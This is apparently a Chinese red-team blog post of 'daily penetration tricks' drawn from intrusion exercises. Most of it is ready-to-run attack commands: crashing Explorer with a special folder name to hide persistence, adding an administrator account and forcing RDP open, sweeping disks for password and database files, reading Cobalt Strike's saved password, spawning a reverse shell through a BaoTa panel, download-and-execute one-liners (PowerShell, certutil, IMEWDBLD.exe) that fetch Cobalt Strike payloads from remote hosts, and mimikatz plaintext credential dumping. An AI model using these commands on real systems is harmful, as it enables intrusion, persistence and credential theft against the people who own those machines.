日常滲透中的一些小技巧
1.點擊即崩潰的文件夾
mkdir anything.{D2035EDF-75CB-4EF1-95A7-410D9EE17170}

桌面點擊該文件夾訪問即會導致桌面崩潰
適用于:惡作劇,大霧
當然,適用于針對人的殺軟繞過(點開回到桌面,/大霧),這里面可以放置繞過AV持久化的一些小東西。
2.查看谷歌瀏覽器近期日志
chrome://device-log/
包含Usb,藍牙的日志

適用于內網亂沖時找敏感信息,判斷該機器是否有使用痕跡。
3.向Linux傳輸文件
官網:
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
適用于用于Windows向Linux傳輸文件,在沒有安裝sshGUI的情況下(或舊版本無默認的OpenSSH,WIN10有自帶的SSH)
echo n |pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root
適用于正向不出網的環境+配合冰蝎的交互式終端沖,針對環境極其惡劣的內網(不是蜜罐的說),打下的這臺機器是Windows,但是內網發現一堆SSH弱口令,可以使用該工具上傳文件,試圖橫向…
4.CS默認密碼配置文件
默認存儲在.aggressor.prop中:
C:/User/%username%/.aggressor.prop

這就是關于某種情況下,反控了攻擊者的個人終端機,查看這人的攻擊成果這回事,或者應對關于密碼太過安全而記不住導致沒辦法和隊友協作沖內網這回事
注:外網入口進去之后,我總不能給hxd說我cs密碼忘了吧...
5.打站庫分離
關于打站庫分離,拿下了數據庫端而找不到WEB這回事:
1)Mysql數據庫
這種數據庫相對比較直觀,可以直接通過數據庫查詢獲取外聯地址,拿到WEB端的IP地址,通過查詢 information_schema 庫中的 PROCESSLIST 可以查看當前 Mysql的連接情況。
因為 web 應用會產生查詢數據庫操作,所以在回顯出來的 host 字段中會帶回目標的 ip:port。
select * from information_schema.PROCESSLIST;
關注HOST字段,如果外聯,那么就是WEB端,如下圖所示:

讀取本地內容
若沒有secure_file_priv參數的限制(MySQL5.7以下)我們還可以用load_file() 函數對文件內容進行讀取:
select load_file('C:/ceshi.txt');
還可以獲取網卡信息,比如讀取以下文件來獲取WEB端的一些信息(以Centos7為例):
###獲取網卡名稱/etc/udev/rules.d/70-persistent-net.rules ###網卡靜態IP/etc/sysconfig/network-scripts/ifcfg-eth0
2)Mssql數據庫
Mssql數據庫沒啥好講的,普遍情況下,一旦拿到Mssql數據庫的權限,基本上可以直接拿下數據庫所在機器。
首先是簡單判斷是否是站庫分離的,一般可以先獲取客戶端主機名:
Select host_name();
得到服務端主機名:
select @@servername;
根據結果判斷是否分離,結果一樣就可能站庫同服務器,結果不一樣就是站庫分離。
拿下了之后可以直接翻翻數據庫的內容,找這臺機器上的敏感信息,運氣好可能會翻到密碼本,其實也是找敏感信息的過程。
6.RDP登錄不上去
關于內網環境下,有時候開了RDP而登錄不上去這回事
這是某次演練進入內網遇到的一個問題,MSSQL弱口令xp_cmdshell控下機器,然后開RDP后,發現RDP無法連接,并且報錯如下:
由于沒有遠程桌面授權服務器可以提供許可證,遠程會話被中斷,或者…

連接遠程桌面的時候提示這個,首先確定一下注冊表是否成功開啟了3389,可以用netstat命令看看開放的端口。
添加賬戶開RDP一把梭:
net user admin admin@123 /add net localgroup administrators admin /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
還是不行的話,可以使用強行登錄的方式,登錄上去
mstsc /admin /v:10.150.3.11


7.拿下服務器
關于拿下服務器后搜集敏感信息的一些操作:
1)Windows
dir /a /s /b d:\"*.txt"dir /a /s /b d:\"*.xml"dir /a /s /b d:\"*.mdb"dir /a /s /b d:\"*.sql"dir /a /s /b d:\"*.mdf"dir /a /s /b d:\"*.eml"dir /a /s /b d:\"*.pst"dir /a /s /b d:\"*conf*"dir /a /s /b d:\"*bak*"dir /a /s /b d:\"*pwd*"dir /a /s /b d:\"*pass*"dir /a /s /b d:\"*login*"dir /a /s /b d:\"*user*"
2)Linux
Find 一把梭,命令如下:
find / -name "*.*"| grep -E ".*.mdb$|.*.mdf$|.*.bak$|.*.sql$|.*.conf$|.*.eml$|.*.pst$|.*.pass|.*.xml$"
簡單舉例:
注:具體情況具體看你想要定位哪些文件。
8.打寶塔
事情是這樣的,應朋友之邀,做了一下寶塔的靶場(php5.4+Windows起的),因為DisableFunction限制的很死,各種辦法嘗試還是無法繞過(shell拿下了,但執行不了命令),于是翻系統的配置文件,翻了一段時間之后,得到以下小TIP:
Windows的寶塔默認后臺保存在
C:/BtSoft/panel/data/admin_path.pl
日志存儲,有時候可以看到登錄用戶的賬號
C:/BtSoft/panel/data/default.db
臨時密碼
上線的思路,后臺一般有兩類:
1.一種是寶塔為了安全起見,把后臺終端那一欄關閉了,但可以直接用計劃任務下命令,一鍵反彈shell,如下圖所示:
彈彈彈,欸嘿嘿:

2.另一種就是帶終端的,可以直接執行命令的操作,這個不多贅述。
9.上CS的幾種姿勢
關于Windows下載文件,上CS這回事的幾種姿勢:
注:免殺繞過暫不在此范圍內,就事論事,相信人均bypassAv
0x01. 調powershell
powershell -command IEX (New-Object System.Net.Webclient).DownloadString('https://xxx.x.x.x/download/ssh.ps1')
0x02. 調certutil
這種比較常規,就不多說了,值得一說的是在Windows Server 2003的機器上,certutil命令默認下載的文件并不會直接保存成exe,而是會保存成一個名字叫做Blob0_0.bin的文件,所以需要重命名一下:
certutil -urlcache -split -f http://192.168.26.134:8000/artifact.exe && ren Blob0_0.bin cc.exe && cc.exe

本地CS上線測試

正常上線就這樣即可,無需重命名
certutil -urlcache -split -f https://x.x.x.x/download/file.exe ./1.exe && ./1.exe
0x03. IMEWDBLD.exe下載文件并執行
IMEWDBLD.exe是微軟拼音的開放擴展字典模塊,可以下載字典文件,但是由于下載的路徑是隱藏路徑,所以還要找路徑:
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://www.xxx.com/xxxx.exe
使用forfiles查找下載的文件路徑:
forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" #### 參數介紹 /P 表示開始搜索的路徑。默認文件夾是當前工作的 目錄 (.)。/S 指導 forfiles 遞歸到子目錄。像 "DIR /S"。/M 根據搜索掩碼搜索文件。默認搜索掩碼是 '*'。/C 表示為每個文件執行的命令。命令字符串應該用雙引號括起來。@path 返回文件的完整路徑
利用方法:
webshell下一句話下載并執行:
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://192.168.23.129:80/download/file.jpg && forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" | findstr ".jpg" |cmd.exe

cs秒上線
注:
1.實際利用可能比較受限制,針對部分sql注入os-shell的場景,可能會遇到命令截斷,沒法正常執行整段命令的情況。
2.文件后綴盡量怪一點,避免和原有系統自帶的一些隱藏文件撞了,導致執行了別的奇怪的操作。
當然,還有比較多的一些其他姿勢(比如hh.exe,ieplore.exe等下文件),但使用范圍比較受限制,再一個動靜也略大。
10.Mimikatz 明文抓取
關于mimikatz直接抓取RDP明文信息, 這里的抓明文的方式,不同 于原 來mimikatz解密dpa pi的方式,是可以一行命令抓取明文數據的。
命令如下:
privilege::debugts::logonpasswords

注:mimikatz我簡單從源碼層剔除了一點點東西,總體和原生mimikatz命令是一致的。